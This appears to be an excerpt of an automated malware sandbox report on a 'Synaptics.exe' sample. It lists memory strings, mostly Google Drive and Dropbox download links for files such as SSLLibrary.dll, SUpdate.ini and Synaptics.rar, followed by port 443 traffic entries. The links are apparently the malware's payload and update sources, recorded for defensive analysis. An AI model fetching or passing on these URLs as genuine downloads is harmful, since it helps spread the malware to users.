Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpXz_
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpath:
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpi
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadppM
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrTabu
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadreval
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm-FaZ
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadro
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrsa
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrv
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsSf
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsafe-w
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsercontent.google.com0
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsers
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsion-
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsprepx
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstemDQ~
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsx
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt.
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt2j
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtalJ
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadteSoC
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtic
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleniI
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtmapY
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtrinZ~
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu)
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadull-VQ
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv(
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadve
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvices
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadving
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvt5
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwRz
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwnloa
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2465052530.000000000589E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady8
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyAm~2
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyD
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoutu
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/U8a
Source: Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/d
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED3E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$A
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1N
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG$V
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWFV
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/eme
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/u
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl0
Source: ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
